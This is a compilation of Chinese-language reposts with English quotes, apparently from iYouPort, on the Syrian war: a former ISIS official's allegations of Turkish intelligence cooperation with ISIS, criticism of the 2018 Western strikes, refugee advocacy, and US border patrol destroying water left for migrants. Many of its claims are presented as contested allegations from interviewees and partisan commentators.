特朗普并不是反战同盟，他这句话不过依旧来自他的传统动机：反驳前任以强调自身。但并不影响反战人士引用它来以论述立场。这句话本身的意义是重大的，一千万难民都能体会它的分量，虽然它很有可能被落空，因为阻力太强，但那只是意味着 a long and arduous task

Trump recently suggested that the U.S. should come out of #Syria “very soon.” Leading voices of the foreign policy establishment — in the Pentagon, State Department, Congress, and the media — pushed back, calling for the U.S. to stay in Syria. Trump quickly acquiesced. Trump was right (yes, a rarity) while the security state was wrong yet again. It’s long past time for the United States to end its destructive military engagement in Syria and across the Middle East, though the security state seems unlikely to let this happen.

原文

北约盟友与ISIS"共同利益" [video] - iYouPort

中东和北非

传统叙事将伊斯兰国描绘为在没有重大国家支持的情况下爆发的”自发”运动。但事实上并不是，ISIS有合法国家一直在秘密帮助他们，而且还不是一个国家！最新揭露的作恶者都有谁？

「图」

「图」

在一次爆炸性的采访中，一名前 ISIS 指挥官承认该恐怖组织多年来一直与土耳其国家情报机构就“共同利益”领域进行合作。

消息来源说，土耳其政府高级官员与伊斯兰国代表举行了多次会议，以协调各项活动，这也涉及为该国的外国战斗人员提供支持和安全港。据美国政府反恐顾问采访前 **ISIS** 官员称，埃尔多安总统“与 **ISIS** 携手合作”。

这种关系引发了人们对土耳其在叙利亚冲突中作为北约盟友角色的质疑。

作为 ISIS emir 三年的资深人士 Abu Mansour al Maghrebi，接受了国际暴力极端主义研究中心（ICSVE）主任美国政府长期反恐顾问 Anne Speckhard 教授的采访。

尽管并非所有 Maghrebi 的声明都可以得到证实，但是，其中大多数声明都得到了其他举报人和前 **ISIS** 人员的声明的证实，正如之前 **INSURGE** 报道的那样。

Speckhard 和 Shakovci 将 Abu Mansour 描述为驻扎在叙利亚 Raqqa 的土耳其—伊斯兰国外交官。

“我的问题*[*职责*]*是我们*[*伊斯兰国*]*与土耳其情报部门的关系。实际上，这是在我在边境工作时开始的，“他解释道。

Abu Mansour 来自摩洛哥，是一名电气工程师，于2013年前往叙利亚加入 ISIS。他在该恐怖组织的第一份工作就是涉及处理通过土耳其加入 ISIS 的外国战士。这包括与土耳其境内的伊斯兰国工作人员的网络联络，他们将战斗机从伊斯坦布尔引导到土耳其边境城镇加济安泰普、安塔基亚、桑尼乌法等。

“其中大部分是由 *Dawlah [ISIS]*支付的，*”Abu Mansour* 说，虽然他说在土耳其工作的人通常是靠金钱而不是意识形态维系的。但他承认：“土耳其的许多人相信并宣誓效忠于 ***Dawlah***。伊斯兰国的居民生活在土耳其，包括个人和团体，但土耳其境内没有武装团体。“

Abu Mansour 后来于2015年前往 Raqqa，在与土耳其国家情报高层会晤后，他为土耳其的 ISIS 战士的医疗服务提供便利。Abu Mansour 称直接接受了伊斯兰国议会议员 Mohamed Hodoud 的命令，并且还曾短暂地会见了恐怖组织难以捉摸的领导人 Abu Bakr al-Baghdadi。他告诉采访他的人：

“土耳其情报部门与伊斯兰国就边境大门、受伤人员等问题达成了一些协议和谅解。我曾与 *MIT [*土耳其国家情报组织*]*直接会面，与他们进行过多次会面。“

他补充说，这些定期会面发生在一系列机构会面之间，包括土耳其情报部门和土耳其军方：

*“*有*3–5*个不同的团队。大多数会议都在土耳其的军事岗位或办公室举行。有时我们每周都见面。这取决于发生了什么。大部分会议都在边境附近，一些在安卡拉，一些在加济安泰普。“

Abu Mansour 描述了在叙利亚和土耳其之间旅行完全无阻碍，导致 **Speckhard** 形容他实际上是伊斯兰国的“大使”。“我通过了边界，他们就这么让我通过了”，他说。“[在边境]，土耳其人总是送我一辆车，我受到保护。我们这边有两三个人的团队和我在一起。我大部分时间都在负责我们的团队。“

尽管 Abu Mansour 否认自己是一个“大人物”，但他承认，他代表伊斯兰国的影响可能延伸到埃尔多安总统本人：

“我正准备见到他，但没能见。他的一名情报人员说，埃尔多安希望

私下见到你，但事情没有发生。“

对 Abu Mansour 的采访于2019年3月18日发布在 Homeland Security Today 上，这是一个政府与技术服务联盟（GTSC）杂志—— 一个由在美国国家安全部门工作的前美国政府官员组成的行政协会。

Mansour 认为，他的角色是协调伊斯兰国与土耳其之间的关系，“让双方都受益。”Abu Mansour 说，土耳其认为伊斯兰国是扩大土耳其在叙利亚北部作为重建帝国中心影响力的战略工具：

“我们在边境地区，土耳其希望控制其边界—控制北叙利亚。实际上他们不仅有控制库尔德人的野心。他们想要所有的北方，从 ***Kessab***（叙利亚最北端）到摩苏尔*……*这是埃尔多安的伊斯兰主义者意识形态。他们想要叙利亚北部的所有地方。这就是土耳其方面*[*想要*]*控制叙利亚北部的原因，因为他们有真正的野心。实际上，我们谈到了埃尔多安在公开场合所说的内容*[*与他真正想要的内容*]*。叙利亚的这一部分是奥斯曼帝国的一部分。在第二次世界大战之后达成协议之前，阿勒颇和摩苏尔是土耳其奥斯曼帝国的领土。在我们的会议中，我们讨论了重建奥斯曼帝国的问题。这是土耳其的愿景。“

Abu Mansour 补充说，尽管这一愿景通常归于埃尔多安，但未必在土耳其政府中分享：

“我不能说这是整个土耳其政府的愿景。许多人反对将这个项目变为现实。他们说我们将试图打败库尔德工人党和库尔德人。我们害怕库尔德人之间的联盟，他们可能会成为一个库尔德国家，但他们也扩大到阿勒颇……由于他们是北约国家，他们不能让北约对他们生气。因此，他们不能直接处理这种情况，但是他们想要摧毁库尔德人，因此他们和伊斯兰国一道处理这种情况并从伊斯兰国获得利益。“

伊斯兰国认为与土耳其的秘密联盟是一个“大利益”，因为“他们可以保护我们的后院。我们的边界大约有300公里。土耳其被认为是我们获取药物和食物的必经之路—— 许多东西以援助的名义进入。大门是敞开的。“

伊斯兰国的战斗人员经常在边境的土耳其医院接受治疗。土耳其政府还向恐怖组织供水，并允许其通过土耳其出售数千万美元的石油。

“我们通过谈判将我们的战斗机送到[土耳其]的医院，”Abu Mansour 说。“有提供便利—— 他们不要求查看那些即将接受治疗的人的护照。这始终是一扇敞开的大门。如果我们有救护车，我们可以毫无疑

问地顺利穿越。我们可以在许多地方穿越土耳其。他们不询问官方身份。“

土耳其国家情报局密切参与这一进程，他说：

“*MIT* 了解到每一个危急情况，他们将救护车送到边境。边境附近也有医院。接收过重症监护的人在那里接受治疗，他们*[MIT]*根据他们的需要将其他人送到土耳其各地。那里有非常热心的医生，叙利亚人和土耳其人，他们想要帮忙。因此，如果没有设施在边境为他们提供服务，伤员将被送往土耳其。“

医疗费用主要由伊斯兰国支付，但“一些土耳其公立医院免费接收这些伤员。这不仅适用于我们的战士，也适用于爆炸事件的受害者。我不知道有多少人在土耳其接受治疗，但这是惯例 … 我只知道这个协议为我们的伤员打开了大门，并且有救护车护送他们。这是关于我们伤员的“国际间”协议。我参与了这些协议的谈判。为了伤员、医疗和其他物资的通过，我和他们谈判。“

土耳其供应的水源允许 **ISIS** 日常使用、甚至用水坝发电：

“事实上，我们*[*叙利亚*]*与土耳其达成协议，每秒*400*立方米（水）进入叙利亚。革命后，他们开始将水量减少到每秒*150*立方米。在我们*[2014*年*]*的谈判之后，他们又恢复到了*400*的供应。我们需要水源用于电力和生活的重要来源。“

据 *Abu Mansour* 称，伊斯兰国与土耳其的水协议“需要很长时间才能谈判成功”。作为回报，伊斯兰国政府向土耳其政府保证，该国将从伊斯兰国的袭击中“获得安全稳定”。“在谈判中，我不能说我会攻击土耳其。这是帮派的语言，但我想说我们会努力让土耳其远离战场，我们不会把土耳其视为敌人。他们明白我们在说什么。我们说了很多次“。

Abu Mansour 进一步表示，土耳其是伊斯兰国石油销售的主要渠道：“大部分叙利亚石油都流向土耳其，只有少量石油流入巴沙尔政权.....这是自然发生的。有许多贸易商可以做到这一点，土耳其是唯一可以付得起油钱的市场。他们的交易员支付了进入土耳其的石油。“

这些交易大部分是通过当局批准的土耳其中间人进行的：

“前往叙利亚政府的石油—有些是通过管道输送的，有些是通过卡车

运送的。 *Dawlah [ISIS]* 向土耳其运送的石油由来自土耳其的交易员安排的，他们以我们的许可来取石油。交易员也来自叙利亚方面。“

Mansour 证实，通过土耳其的石油销售有助于为伊斯兰国的军事进攻提供资金。“在叙利亚，石油足以支付武器和所需的一切，”他说。“[我们的石油收入]每月超过1400万美元，这笔石油资金的一半就足以支付我们的武器开支所需的一切。”

这些说法使人们更加确信早期的 INSURGE 对伊斯兰国石油销售的调查，该调查不仅牵出了土耳其共和国的共谋，还牵出了一些伊拉克库尔德组织和西方公司之间的共谋。

然而，Abu Mansour 否认伊斯兰国直接从土耳其获得武器或资金。相反，他称伊斯兰国通常从武装反对派团体内部获得武器：“反政府的叙利亚人民向我们提供武器; 许多黑手党和团体向我们交易武器。“

其他消息来源证实了 Abu Mansour 关于土耳其军事情报部门对伊斯兰国直接支持的说法。2016年，我采访了在2010年至2012年期间担任土耳其国家警察反恐和行动司司长的 Ahmet Sait Yayla，他在2014年之前成为公共秩序和预防犯罪司司长。

Yayla 详细告诉我他是如何亲眼目睹他自己的警察反恐行动被破败，只因土耳其情报联络人要保护伊斯兰国的战斗人员，他们经常让ISIS战士自由地进出土耳其，并为他们提供医疗服务就在土耳其的医院。

然而，他更进一步描述了他是如何看到土耳其直接军事和金融赞助 **ISIS** 一些行动的证据的。Yayla 的详细证词表明，Abu Mansour 作为土耳其情报首席谈判代表的角色并没有涵盖某些关键的战略问题，例如直接的军事和财政支持，这可以解释为什么 Abu Mansour 不知道这一点。

土耳其法院命令"禁止"我发布去年发送给美国科技和社交媒体公司的这篇关于 **Yayla** 的采访。

INSURGE 此前已经报道了西方情报来源的其他新证据，表明土耳其国家同意在叙利亚扩大伊斯兰国的力量。

尽管国际法要求对被发现支持恐怖主义的实体采取坚决行动，但这些新的揭露强调了为什么西方政府忽视国家支持伊斯兰国的证据——尽管国际法也不例外 。

“土耳其希望外国战士能够轻松过境……事实上，土耳其方面说，’你

应该减少、改变你的方式，你进入的方式。例如，不要带一个团体进入，因为有一群人进入这样太明显了。不要携带任何武器。不要带长胡须。你们应该尽可能隐蔽地走从北到南的入口。”“

土耳其情报机构再一次直接参与：“[2014年]，他们打开了一些合法的大门，让我们的人可以自由进出。但是，进入叙利亚比返回土耳其更容易。土耳其控制了这些行动。“

也许 Abu Mansour 最有争议的说法是伊斯兰国在土耳其内部—— 伊斯坦布尔机场、雷纳夜总会、以及安卡拉和伊斯坦布尔街头—— 的袭击不符合伊斯兰国自己的利益，但很可能是在土耳其情报人员的命令下采取攻击行动的，那些渗透了**ISIS**的人：

“我认为外部 *emni* 中有土耳其情报机构*MIT*的人。我怀疑在机场的袭击不是为了 *ISIS* 的利益，而是土耳其渗透 *ISIS* 的群体想要袭击土耳其，或者他们受到其他不希望 *Dawlah* 和土耳其之间关系太紧密的机构的影响。否则这没有意义，因为我们大多数人都来过那个机场。“

他对此的解释是，袭击命令并非来自伊斯兰国的领导，而是来自土耳其情报部门的官员：

“这些袭击土耳其的命令来自 ***Dawlah*** 内部的 ***MIT*** 人员，但不是来自我们的政治方面。他们不想摧毁埃尔多安，只是想改变他在叙利亚问题上的想法。他们希望他用他的军队攻击叙利亚，攻击 ***Dawlah***。机场袭击是他进入叙利亚的一个很好的借口。“

可以肯定的是，没有办法独立核实 Abu Mansour 对土耳其国家情报部门的全部所有指控，但是，这些信息在另一位前ISIS特工萨 Savas Yildas 的供词中得到了部分证实，他在伊斯兰国对库尔德人的攻击中被 YPG 抓获。Abu Mansour 补充说，在他被关押在库尔德 YPG 监狱期间，他听说“土耳其政府在 Raqqa 事件之后带走了40人，他们是土耳其安全机构的一部分。”

新的揭露与多年的传统叙事相矛盾，传统叙事将伊斯兰国描绘为在没有重大国家支持的情况下爆发的“自发”运动。

并且，更重要的是，土耳其并不是西方情报机构知道的为ISIS提供资金的唯一的国家—— 其他同类国家还包括沙特阿拉伯和卡塔尔。

2016年12月，Wikileaks 提供的证据已经突出了“ "埃尔多安与伊斯兰国之间的险恶关系" ”。

正如作家 Thanos Kamilialis 所写到的，土耳其总统雷杰普·塔伊普·埃尔多加的家人与“伊斯兰国”的石油走私事件被 Wikileaks 揭露：通过土耳其能源部长和埃尔多安的女婿贝拉特阿尔巴伊拉克之间的电子邮件。Albayrak 的电子邮件中显示，能源部长呼吁成为石油公司 Powertrance 的“非官方”所有者，该公司正在从伊拉克北部的伊希斯土地进口石油到土耳其。

2015年9月底，土耳其黑客组织 Red Hack 声称它可以从 Albayrak 的个人电子邮件帐户访问近 20 GB 的数据。关于电子邮件内容的信息和文章开始上线，但土耳其司法系统决定不发布和复制电子邮件，从而暗示了其真实性。

土耳其政府 —— 特别是埃尔多安家族成员 —— 在“伊斯兰国”控制地区的石油走私活动中发挥积极作用的最新指控被 Wikileaks 泄漏的土耳其能源部长的 所有电子邮件所证实。

在土耳其部队于2015年11月24日击落俄罗斯飞机后，对土耳其政府——尤其是阿尔巴伊拉克 —— 的指责变得更加激烈。除了对土耳其实施制裁外，俄罗斯还指责埃尔多安和他的参与石油走私的家庭。

为了支持这些指控，俄罗斯提供了卫星图像，显示了从伊斯兰国土地到土耳其的石油路线。

挪威外交部也进行了类似的研究，得出的结论是，从“伊斯兰国”地区运往土耳其的石油以低价出售。与此同时，美国政府也提到过伊斯兰国的石油通过一个过程以土耳其为目的地。如果这些指控属实，土耳其总统就发誓要辞职。

而 Albayrak 的电子邮件确实证明了俄罗斯的指控，以及将他与石油走私联系起来的各种国际媒体特征也是如此。Albayrak 似乎是石油公司 Powertrans 的非官方顾问，根据法律，该公司是唯一允许从土耳其进出石油的石油公司。在他收到的大约32封 Powertrans 电子邮件中，他被问及他对公司未来行动的意见以及他在组织结构、新高管的雇用、和工资等方面的批准。

正如 World Policy 所分析的那样，该公司的股票奇怪地从伊斯坦布尔“旅行”到新加坡，从那里再到达维尔京群岛。公布的信息表明，Powertrans 的真正所有者现在是 Calik Holding，背后是 Albayrak。

在 Wikileaks 发布的泄露电子邮件中，土耳其能源部长和埃尔多安的女婿与Calik Holding 和 Powertrans 之间的联系似乎相当清楚。几乎

每一次他们之间的谈话主题都是 Powertrans，而 Yilmaz 经常要求他批准公司的员工变更，提及例如组织结构图的规划、未来的招聘和工资等。

伊斯兰国已经—部分或全部—控制了重要的油井，两年多来，石油走私是这个恐怖主义集团的基本资金来源。 2014年，“卫报”展示过从伊斯兰国到土耳其、伊朗和约旦的石油运输路线图。

2015年10月，英国“金融时报”透露，伊斯兰国的石油平均产量为每天34,000–40,000 桶，每桶售价为20–45美元。这意味着他们每天从石油中获得150万美元的收入，用于资助他们在军事和恐怖主义行动中的战斗人员。

从ISIS控制的油井到土耳其的石油路线由俄罗斯于2015年12月公布的卫星照片显示。据俄罗斯称，石油是通过第三条路线运输的：从叙利亚东部和伊拉克西部到土耳其东南角。

在这里看到视频：

国际媒体提供的照片和文件显示，伊斯兰国的石油最终出现在土耳其的各个地区，唯一一家基于土耳其的公司可以实现这种运输的就是Powertrans。

Inan explosive interview, a former ISIS commander has claimed that the terror group cooperated directly with Turkish state intelligence agencies for years on areas of “common interest”.

原文

叙利亚：英美法的行动遭到各方面抨击，这场战争究竟是什么 - iYouPort

中东和北非

本文旨在通过翻译补充一些最新的信息，缓解那些为这场战争而兴奋的人的知识片面。

「图」

「图」

1、彭博社：美国、英国和法国在叙利亚发动的袭击，已经杀死了数十名平民。报道援引分析家和外交官表示，袭击不太可能撼动阿萨德政权或改变冲突的轨迹。

前国会议员Sharif Shehadeh 说，这次袭击“是叙利亚政府的胜利”，他说：“它不但没有削弱巴沙尔，反而使其变得更加强大”，“特朗普这样做是为了保住面子”。

The attack “was a victory for Syria,” former lawmaker Sharif Shehadeh said by phone from Damascus. “Instead of weakening the government, it only made it stronger,” he said. “Trump did it to save face.”#SyriaStrike

2、人权观察员：轰炸叙利亚并不惩罚阿萨德针对平民的战争罪行；但俄罗斯阻止联合国安理会将叙利亚提交国际刑事法院。由于没能就这些骇人听闻的罪行追究责任人，安理会实际上已经相当于默许了犯罪者的行为。

最近，俄罗斯再次否决了联合国和禁止化学武器组织（OPCW）的联合调查，该组织的任务是查明化学武器袭击背后的罪魁祸首。

HRW: Bombing Syria doesn’t punish Assad for his war-crime targeting of civilians. But Russia blocks UN Security Council referral of Syria to International Criminal Court. #SyriaStrike

3、人权观察：假设特朗普的攻击能降低阿萨德的化学武器能力，先回答两个问题：1.美国如何知道沙林在哪里？（过去没有找到过）2.美国如何停止氯气袭击？这是一种具有许多合法用途的常用化学品 #SyriaStrike

纽约时报：新的攻击令美国更深地陷入冲突风险，这场冲突中俄罗斯和伊朗比以往任何时候都更多地投入对阿萨德执政的支持。

HRW：If Trump's missile attacks were to degrade Assad's chemical weapons capacity: 1. How does US know where the sarin is? (It didn't in the past.) 2. How does US stop attacks with chlorine, a common chemical with many legitimate uses (though not as a weapon)?

Beyond the immediate question of whether the strikes actually accomplished the stated goal of diminishing Syria's capacity to make and use chemical agents, the new strikes posed the risk of drawing the United States more deeply into a conflict in which Russia and Iran have more invested than ever in keeping Mr. Assad in power.

4、特朗普下令美国在没有国会授权的情况下袭击叙利亚，引发各种争议。看起来很多人还是不了解这场战争的背景。The Intercept 推荐了关于叙利亚的两本书，讲述2011年开始的这场革命如何演变成了一场复杂的多方面的国际战争。

五年实地秘密采访写成的**"No Turning Back: Life, Loss, and Hope in Wartime Syria"** 揭示了政策制定者和金融家如何操纵叙利亚反对派成员以实现他们自己的议程；另一本书是2017年出版的**"The Home That Was Our Country: A Memoir of Syria"** 讲述由于巴沙尔政权的信息封锁而无人了解的叙利亚内情。

A Syria for all its people — two books on an unnecessary war

"No Turning Back: Life, Loss, and Hope in Wartime Syria" & "The Home That Was Our Country: A Memoir of Syria"

5、绿党：叙利亚化学袭击的责任尚未得到证实。无论谁负责，美国在没有联合国/国会批准的情况下进行的报复违反了国际法、美国宪法、战争权力法，加剧了暴力循环，并有可能导致核对抗。

「图」

「图」

6、 CIA 前分析师 Ray McGovern：“三人帮”袭击事件发生前几个小时，正在抵达叙利亚的联合国化学武器组织专家被阻拦，他们是去研究杜马的土壤和其他样本的。为什么不能等到禁化武组织有机会查明是否有这种袭击？如果是的话，使用了什么化学品？

美国国防部长 James Mattis 只能说他认为存在化学武器攻击，可能有沙林、氯气。迄今为止，唯一可用的“证据”是来自“社交媒体”的高度可疑报告。显而易见的是，在禁化武组织调查人员有机会确定发生的事情之前，美国/英国/法国想要这场攻击。

Attacking Syria: Thumbing Noses at Constitution and Law

It was a sad spectacle to see U.S. brass rubbishing the Constitution and trying to silence critics of the U.S. strike on Syria, says Ray McGovern in this commentary.

7、沙特资助的圣战组织 Jaysh al Islam 和 Tahrir al-Sham，以及英国资助的圣战组织 The White Helmets 已经声称在他们的 Douma 飞地发生化学武器袭击。

时间线：

March 4 2018 Sergei and Yulia Skripal are attacked with a nerve agent in Salisbury

March 6 2018 Boris Johnson blames Russia and calls Russia “a malign force”

March 7 2018 Crown Prince Mohammed Bin Salman of Saudi Arabia arrives in London for an official visit

March 13 2018 Valeri Gerasimov, Russian Chief of General Staff, states that Russia has intelligence a fake chemical attack is planned against civilians in Syria as a pretext for US bombing of Damascus, and that Russia will respond militarily.

March 19 2018 Crown Prince Mohammed Bin Salman of Saudi Arabia arrives in Washington for an official visit

April 8 2018 Crown Prince Mohammed Bin Salman of Saudi Arabia arrives in Paris for an official visit

April 8 2018 Saudi funded jihadist groups Jaysh al Islam and Tahrir al-Sham and UK funded jihadist “rescue group” The White Helmets claim a chemical weapons attack occurred in their enclave of Douma the previous day – just before its agreed handover to the Syrian army – and blame the Syrian government.

April 11 2018 Saudi Arabia pledges support for attack on Syria

April 14 2018 US/UK/French attack on Syria begins.

Craig Murray 英国前驻乌兹别克斯坦大使，举报人，历史学家：We do not yet know how many children and other civilians have died so far in what the media always pretend are magically “pinpoint” attacks on Syria. Denying the “collateral damage” is part of the neo-con playbook. The danger is that they will not stop but continue to push, testing how far they can go in weakening Syrian government forces to promote their jihadist allies on the ground, before they spark a real Russian reaction. That way madness lies.

It is also worth noting that the most ardent supporters of this military action, outside Saudi Arabia and Israel, are the Blairites in the UK and the Clinton Democrats in the USA. The self-described “centrists” are actually the unhinged extremists in today’s politics.

This attack on Syria is, beyond doubt, a huge success for the machinations of Mohammed Bin Salman. Please do read my post of 8 March which sets out the background to his agenda, and I believe is essential to why we find our nations in military action again today. Despite the fact the vast majority of the people do not want this.

8、WTF作家 Robert Peston：叙利亚的轰炸引发了棘手的法律问题和道德问题，并可能成为令我们后悔的先例——

1) The only two legally uncontentious bases for military action are a UN Security Council resolution or self-defence. @theresa_may could not and did not claim either justification. She relied on hotly disputed idea that it’s legitimate to use arms to avert humanitarian

disaster.

2) You can see law officers of the government here arguing that "legal basis for the use of force [in Syria] is humanitarian intervention" and that this UK is "permitted under international law, on an exceptional basis" to do so. https://www.gov.uk/government/publications/syria-action-uk-government-legal-position/syria-action-uk-government-legal-position

9、今年至目前为止美国只接受了11名叙利亚难民。特朗普政府谴责在叙利亚发生的可疑化学武器袭击并称考虑采取军事行动。但是当难民来美国寻求庇护时他是什么态度呢，人道组织正在考验特朗普对人性的承诺——据美国国务院数据，2016年美国安置了15,479名叙利亚难民，2017年是3,024名，而今年只有11名。

Oxfam 美国政策顾问 Gottschalk说，难民重新安置的速度已经明显放缓，自2017年10月以来只有44名叙利亚人进入美国。他指出，特朗普政府的政策旨在废弃国会授权的难民计划。旅行禁令、进一步的审查措施以及一系列行政命令都在阻止难民的选择。

The U.S. Has Accepted Only 11 #SyrianRefugees This Year

administration policies aim to dismantle a refugee program mandated by Congress.

Last September, President Trump dramatically reduced the annual cap for refugees from anywhere in the world to 45,000.

Arrivals have also slowed because of additional vetting measures, as well as a series of executive orders temporarily barring travel from several Muslim-majority countries and suspending refugees admissions from around the world.

"You can look back to a year ago when we did fire missiles into Syria," Mattis said. "Some things are simply inexcusable, beyond the pale and in the worst interest of not just the chemical weapons convention but of civilization itself."

原文

叙利亚冲突中的各方及其国际支持者对平民生活表现出骇人的蔑视 - iYouPort

中东和北非

人权观察说，2018年4月24日至25日在布鲁塞尔召开的叙利亚之友组织会议应该讨论叙利亚冲突的战争罪行和有罪不罚现象，以及紧急保护措施和人道主义需求。

“绝不允许对暴力罪行，有罪不罚和对难民的不尊重成为’新常态’，但这是叙利亚人七年来经历的日常现实，布鲁塞尔会议参与者需要提高暴行的成本，并大幅增加对难民和叙利亚儿童未来的支持。” 人权观察欧盟主任Lotte Leicht 说。

与会者应努力减少暴行、加大对非法袭击的压力，进一步制裁对叙利亚境内直接造成暴行罪的人。还应该对其他帮助和怂恿战争罪的个人和公司实施制裁，包括任意拘留、酷刑、非法杀戮、使用违禁武器和以平民饥饿为武器的行为。

应立即要求联合国安理会将叙利亚局势转交给国际刑事法院，并确保增加对联合国大会授权的国际公正和独立机制（IIIM）的资金，以保存和分析可能用于法院现在或将来对这些罪行的处理权。

叙利亚之友组织应该要求向遭到围困和流离失所的平民提供人道主义援助，并坚持要求立即释放数千名被拘留者和被失踪的受害者。

“叙利亚冲突中的各方及其国际支持者对平民生活表现出骇人的蔑视，叙利亚人的真正朋友是现在就战争罪和问责制、人道主义准入和被拘留者等关键问题行事的政府”，人权观察欧盟主任 Lotte Leicht 说

参与国还应利用布鲁塞尔会议的机会承诺进行政策改革，尊重难民的权利，并应对叙利亚邻国表现出有意义的团结，这些邻国将接纳 560 多万叙利亚难民。欧盟、加拿大和美国已重新安置了不到 100,000 名叙利亚人。

美国基本上切断了叙利亚难民的重新安置和签证方案，白宫正在寻求

大幅削减援助海外难民的做法，这种做法破坏了任何保护和支持有需要者的承诺。欧盟的重点是通过与土耳其和利比亚等国的移民合作来防止难民潮抵达欧洲，尽管那些国家已经发生了侵犯难民权益行为。虽然自2015年以来欧盟的移民安置承诺有所增加，但这些努力仍然有限，并且仅次于遏制政策。富裕国家应该大幅度加强对重新安置叙利亚难民的承诺。

叙利亚会议的与会者应通过增加财务和重新安置保证、以及通过提供其他安全和合法的途径，包括允许叙利亚难民的家人团聚，来保护难民。叙利亚之友组织成员应确保与利比亚和土耳其等东道国和过境国达成的协议能够有效改善难民和其他移民的保护和待遇，绝不会纵容或协助滥用职权。

叙利亚之友组织还应努力通过解决叙利亚儿童的紧急困境来确保叙利亚的未来。在叙利亚境内，有近200万名儿童没有学上，全国三分之一的学校被摧毁，损坏或用于军事或其他目的，如庇护所。叙利亚的儿童面临着受教育的障碍，包括缺乏公认的身份证件或学校证书，以及曾经居住在ISIS控制之下的家族耻辱。

东道国已采取措施为叙利亚儿童开设新的学校，并缓解教育障碍。但教育质量过差和体罚问题、以及贫困迫使的家庭诉诸童工和童婚等障碍依然存在，甚至可能随着中学入学率的骤降而加剧。

大约 610 万叙利亚人在国内流离失所，更多的人逃离叙利亚并成为难民 —— 在邻国的难民占绝大多数为 560 万人，在土耳其境内有 350 万人;黎巴嫩近 100 万人；约旦 660,000；伊拉克有 25 万。自冲突开始以来，约有 100 万叙利亚寻求庇护者前往欧洲，其中许多人使用了危险的旅程，包括海上旅行。

邻国东道国慷慨接受寻求安全的叙利亚人直到 2015 年，但最近越来越倾向于关闭边界。黎巴嫩政府对叙利亚人获得合法居留权或工作的能力施加了严格的限制，并且未允许官方难民营，迫使难民支付基本费用，包括住所、食物和医疗保健。2017年，76% 的叙利亚家庭所得低于黎巴嫩社会每人每天 3.84 美元的贫困线，87% 为债务，平均近 800 美元。黎巴嫩市政府实施了歧视性的宵禁，收取任意性税费，并驱逐叙利亚人。人权观察发现，难民面临的严酷条件导致一些人重回叙利亚。

约旦曾经采取积极步骤，例如给予叙利亚人获得工作的许可证，但 2017 年约旦政府驱逐了数千名叙利亚人，并拒绝困在偏远沙漠无人地带的 55,000 人进入该国，同时严重限制从其领土获得援助的机

会。

人权观察说，较富裕的国家应该通过增加他们的重新安置承诺来分担责任，而不是集中于阻止寻求庇护者的准入。欧盟和意大利已资助和装备了利比亚部队以拦截寻求庇护者和移民，尽管有大量证据表明，针对寻求庇护者和其他移民在利比亚遭遇任意、不人道和有辱人格的拘留中普遍和常规的暴力行为。

更多：https://www.hrw.org/news/2018/04/09/friends-syria-action-needed-brussels-conference

原文

叙利亚战争中没有人是无辜的，除了平民 - iYouPort

中东和北非

It’s worth remembering the UK government-funded opposition in Syria were accused of using chemical weapons

「图」

「图」

Theresa May 要求提供更多证据证明“叙利亚政府在杜马实施了化学武器袭击”。但不仅仅是叙利亚政府，由英国政府资助的叙利亚反对派团体也被指控犯有战争罪。

2016年，国际特赦组织指责叙利亚的反对派团体在阿勒颇的一个以库尔德人为主的地区实施“不分青红皂白的攻击”。一些患者表现出与氯气中毒相一致的症状 – 与4月7日星期六在杜马袭击中据称使用的化学品相同。国际特赦组织在2016年表示，应当对可能的“战争罪行”负责的团体包括 Nour al-Deen Zinki，该团体在 BBC 的全景调查中与英国政府有金钱关系。

BBC 报道，全景调查透露了通过 Adam Smith International 去叙利亚的外援资金落入了“极端分子”手中的事实 – 尤其是 **Nour al-Deen Zinki**。该组织还与其他暴行有关，其中包括斩首一名**12**岁的男孩。

英国政府暂停调查援助计划。

此外，英国政府在今年3月21日承认，它已在 2011 年至 2017 年期间向叙利亚的所谓“温和反对派”提供了3200万英镑的“支持”。唐宁街拒绝确认或否认这笔钱是否已经发放给了Ahrar al-Sham —— 这是被大赦国际指责的可能涉嫌战争罪的另一个组织。

杜马和叙利亚目前的情况变得更为不稳定。美国、英国和法国政府正在就杜马袭击事件的军事反应进行谈判。有报道指出，4月7日在东

Ghouta 发生的一次轰炸袭击后，有超过70人死亡。叙利亚反对派团体及其医疗合作伙伴称，受害者的症状与化学武器中毒一致。

没有任何外部组织可以进入杜马，但世界卫生组织（WHO）表示，反对派团体称在袭击中有500多人受伤。

但叙利亚政府及其盟友俄罗斯不同意，声称没有化学武器袭击的证据。俄罗斯曾表示，任何西方“非法军事行动”都将遭到报复。到目前为止，还没有对事件进行正式的独立调查。禁止化学武器组织正准备根据叙利亚和俄罗斯政府的要求访问杜马。

叙利亚的战争：除了平民，没有无辜者

叙利亚的完全僵局几乎没有减弱的迹象。英国政府对极端分子的资助历史表明，叙利亚冲突中没有“好人”或“坏人”，所有人都在出于自己的目的。美国、西方以及他们的俄罗斯同行，如此乐于在军事行动中采取迅速而放纵的态度，这表明所有政府都对普通叙利亚人严重缺乏考虑，普通叙利亚人已经遭受了七年多的地狱冲突。

> We are witnessing the first “World War” of the 21st century—but one that is executed by proxy. Every… nation is… feverishly trying to gain control of the last Middle East outpost as yet untouched by globalised multinationalism: Russia, seeking to secure the same gas supply and commodities as the EU; the US, desperately wanting regime change so it can plunge its claws into the one blank corporate canvas left in the Middle East; the Sunni Gulf regimes, frantically suppressing any Shi’a uprising for fear of losing their archaic, totalitarian grip on their kingdoms; and Turkey, under the increasingly despotic Erdogan, attempting to play everyone off against each other.

原文

在沙漠中断水意味着什么 —— 惊人报告揭露恶行 - iYouPort

中东和北非

一份新报告惊人地显示，在美国与墨西哥边境工作的人道主义团体已经记录到了为向北迁徙穿越沙漠的移民留下的数千个水壶遭到系统性破坏—— 被美国边境巡逻队的人毁掉了。

该报告于周三由 Tucson 的团体 No More Deaths 和 LaCoaliciónde Derechos Humanos 发布，显示从2012年 ~ 2015年，志愿者“发现水壶在这段时间内共被破坏了 415 次，每周平均超过两次破坏。”

“总的来说，在这段时间内，有 3,586 加仑的水遭到破坏”，报告说，“同时，过境者遭受痛苦、死亡和失踪。” No More Deaths 组织的倡导协调员 Kate Morgan-Olsen 说，虽然这项分析仅涵盖到 2015 年，但在 2017 年记录到的视频显示，边境巡逻人员仍在破坏并没收人道主义援助物资。

除数据分析外，人道主义组织还指出已经收集了“大量证据，证明美国边境巡逻人员摧毁和没收人道主义物资，包括多名目击者指出了倾倒或破坏供水的行为人员，以及四次发生这种故意破坏的视频证据。“该报告补充说，“破坏和干涉援助物资的做法并非一些流氓边境巡逻人员的不正常行为; 正相反，它是边境地区执法行为的系统特征“。

